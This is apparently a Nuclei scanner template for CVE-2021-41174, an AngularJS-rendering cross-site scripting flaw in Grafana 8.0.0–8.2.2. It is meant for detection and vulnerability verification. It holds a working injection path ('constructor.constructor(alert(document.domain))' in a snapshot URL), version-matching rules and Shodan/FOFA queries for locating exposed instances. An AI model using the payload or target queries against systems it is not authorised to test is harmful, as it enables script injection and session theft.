Grafana is an open-source platform for monitoring and observability. In affected versions if an attacker is able to convince a victim to visit a URL referencing a vulnerable page, arbitrary JavaScript content may be executed within the context of the victim's browser. The user visiting the malicious link must be unauthenticated and the link must be for a page that contains the login button in the menu bar. The url has to be crafted to exploit AngularJS rendering and contain the interpolation binding for AngularJS expressions.
PoC
id: CVE-2021-41174
info:
name: Grafana 8.0.0 <= v.8.2.2 - Angularjs Rendering Cross-Site Scripting
author: pdteam
severity: medium
description: Grafana is an open-source platform for monitoring and observability. In affected versions if an attacker is able to convince a victim to visit a URL referencing a vulnerable page, arbitrary JavaScript content may be executed within the context of the victim's browser. The user visiting the malicious link must be unauthenticated and the link must be for a page that contains the login button in the menu bar. The url has to be crafted to exploit AngularJS rendering and contain the interpolation binding for AngularJS expressions.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the Grafana application.
remediation: Upgrade to 8.2.3 or higher.
reference:
- https://github.com/grafana/grafana/security/advisories/GHSA-3j9m-hcv9-rpj8
- https://nvd.nist.gov/vuln/detail/CVE-2021-41174
- https://github.com/grafana/grafana/commit/3cb5214fa45eb5a571fd70d6c6edf0d729983f82
- https://github.com/grafana/grafana/commit/31b78d51c693d828720a5b285107a50e6024c912
- https://github.com/grafana/grafana/commit/fb85ed691290d211a5baa44d9a641ab137f0de88
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-41174
cwe-id: CWE-79
epss-score: 0.85404
epss-percentile: 0.99707
cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: grafana
product: grafana
shodan-query:
- title:"Grafana"
- cpe:"cpe:2.3:a:grafana:grafana"
- http.title:"grafana"
fofa-query:
- title="grafana"
- app="grafana"
google-query: intitle:"grafana"
tags: cve2021,cve,grafana,xss,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/dashboard/snapshot/%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D?orgId=1"
skip-variables-check: true
matchers-condition: and
matchers:
- type: word
words:
- "Grafana"
- "frontend_boot_js_done_time_seconds"
condition: and
- type: regex
regex:
- '"subTitle":"Grafana (v8\.(?:(?:1|0)\.[0-9]|2\.[0-2]))'
- type: status
status:
- 200
extractors:
- type: regex
group: 1
regex:
- '"subTitle":"Grafana ([a-z0-9.]+)'
# digest: 4b0a00483046022100a8335eed0c7acafced5fd7a64ab2ad37704c93de25fcd960adc5f95ada01b007022100e552f3d6bbbf305cf87fe01c9d046f67f10034000d6fb04ddfd2530771ff8208:922c64590222798bb761d5b6d8e72950
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